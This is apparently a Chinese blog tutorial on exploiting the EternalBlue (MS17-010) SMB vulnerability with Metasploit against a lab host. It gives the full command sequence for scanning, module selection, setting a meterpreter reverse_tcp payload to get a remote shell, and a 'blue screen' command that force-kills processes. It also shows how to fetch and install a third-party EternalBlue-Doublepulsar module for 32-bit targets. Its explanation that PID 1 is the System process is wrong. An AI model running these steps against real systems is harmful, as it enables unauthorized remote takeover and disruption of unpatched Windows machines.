永恒之蓝 ms17-010

文章目录

  • [永恒之蓝 ms17-010](#永恒之蓝 ms17-010)
    • [1. 漏洞介绍](#1. 漏洞介绍)
      • [1.1 影响版本](#1.1 影响版本)
      • [1.2 漏洞原理](#1.2 漏洞原理)
    • [2. 信息收集](#2. 信息收集)
      • [2.1 主机扫描](#2.1 主机扫描)
      • [2.2 端口扫描](#2.2 端口扫描)
    • [3. 漏洞探测](#3. 漏洞探测)
    • [4. 漏洞利用](#4. 漏洞利用)
    • [5. 特殊情况](#5. 特殊情况)
      • [5.1 安装wine32环境](#5.1 安装wine32环境)
      • [5.2 安装攻击32位操作系统所用的的脚本](#5.2 安装攻击32位操作系统所用的的脚本)

永恒之蓝 ms17-010

很久之前做过的永恒之蓝漏洞...

1. 漏洞介绍

永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造"永恒之蓝"制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

1.1 影响版本

目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

1.2 漏洞原理

通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。

2. 信息收集

2.1 主机扫描

sh 复制代码
arp-scan -l

2.2 端口扫描

sh 复制代码
nmap -O -sS -T4 192.168.188.222

3. 漏洞探测

sh 复制代码
msfconsole
# 搜寻模块
search ms17-010
sh 复制代码
# 使用第三个模块
use 3
# 查看该漏洞模块的具体介绍信息
info

使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。

sh 复制代码
show options

RHOSTS选项为空,需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以自动补全该参数。

sh 复制代码
set rhosts 192.168.188.222

显示该主机很可能能够会受到永恒之蓝漏洞的攻击。

sh 复制代码
run

4. 漏洞利用

sh 复制代码
search 17-010

设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。

sh 复制代码
set payload windows/x64/meterpreter/reverse_tcp

设置攻击目标

sh 复制代码
set rhosts 192.168.188.222
run

拿下该主机的shell,执行cmd命令。

sh 复制代码
getuid
sh 复制代码
ipconfig

蓝屏攻击

sh 复制代码
taskkill /f /fi "pid ne 1"

命令解析:

  • 用于在 Windows 操作系统中终止进程的命令。它的作用是强制结束所有除了系统进程(PID为1)之外的其他进程。

  • 在 Windows 操作系统中,进程标识符(PID)为 1 的进程通常是系统进程,也称为"System"进程或"System Idle Process"进程。这个进程是操作系统内核的一部分,负责管理和调度其他进程的运行。

5. 特殊情况

由于不知道目标操作系统是32位还是64位的,我们在使用ms17010攻击模块的时候常规使用64位来进行攻击。

如果在攻击的时候,出现攻击失败等提示信息,那么说明该模块只能攻击64位操作系统,也说明了目标靶机是32位的操作系统。

5.1 安装wine32环境

sh 复制代码
apt-get install wine32

在执行exploit时可能会出现 :

it looks like wine32 is missing, you should install it.

multiarch needs to be enabled first. as root, please

execute "dpkg --add-architecture i386 && apt-get update && apt-get install wine32"

按照上面的方法dpkg --add-architecture i386 && apt-get update && apt-get install wine32即可

sh 复制代码
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

验证是否安装成功

sh 复制代码
wine --version

用wine32执行cmd.exe

sh 复制代码
wine cmd.exe

5.2 安装攻击32位操作系统所用的的脚本

首先下载利用的脚本:

sh 复制代码
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb

sh 复制代码
cd Eternalblue-Doublepulsar-Metasploit/
 
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

接下来使用exploit模块(步骤同上,原理同上)

sh 复制代码
msfconsole
 
search eternalblue  #或者search ms17-010

如果在成功打过去了,但是一直频繁的刷shell的信息,就是回弹不出shell的终端,这个是为什么?

  • 防火墙或安全软件阻止了反向连接:目标系统上可能配置了防火墙或安全软件,阻止了从被攻击系统回连到攻击者控制的服务器的连接。这样一来,即使成功执行了恶意代码,也无法建立与攻击者服务器的连接,导致无法回弹 shell。
  • 网络配置问题:目标系统的网络配置可能存在问题,例如无法访问互联网、网络隔离等,导致无法回连到攻击者的服务器。
  • 安全补丁或安全措施:目标系统可能已经应用了相关的安全补丁或采取了其他安全措施,修复了永恒之蓝漏洞或阻止了其利用。这样一来,攻击者无法成功利用漏洞,也无法回弹 shell。
相关推荐
BruceGerGer9 天前
flutter开发实战-flutter web加载html及HtmlElementView的使用
flutter·1024程序员节
网络冒险家2 个月前
【软考】系统集成项目管理工程师【第二版】
职场和发展·软考·集成学习·1024程序员节·系统集成项目工程师
BruceGerGer2 个月前
flutter开发实战-AssetBundle读取指定packagename的文件
flutter·1024程序员节
sheng12345678rui2 个月前
最新缺失msvcp140.dll的多种解决方法,有效解决电脑dll问题
windows·microsoft·电脑·dll文件·1024程序员节
a5553338202 个月前
电脑显示mfc140u.dll丢失的修复方法,总结7种有效的方法
java·经验分享·dll·dll文件丢失·1024程序员节
行十万里人生2 个月前
C++ 智能指针
linux·c++·git·阿里云·容器·蓝桥杯·1024程序员节
a5553338202 个月前
启动鸣潮提示错误代码126:加载d3dcompiler_43.dll错误或缺失的7个解决方法
前端·经验分享·dll·dll文件丢失·1024程序员节
BruceGerGer2 个月前
flutter开发实战-Webview及dispose关闭背景音
flutter·1024程序员节
BruceGerGer3 个月前
flutter开发实战-ListWheelScrollView与自定义TimePicker时间选择器
flutter·1024程序员节
askah66443 个月前
电脑提示msvcr120.dll丢失怎样修复
经验分享·microsoft·dll修复·dll丢失·1024程序员节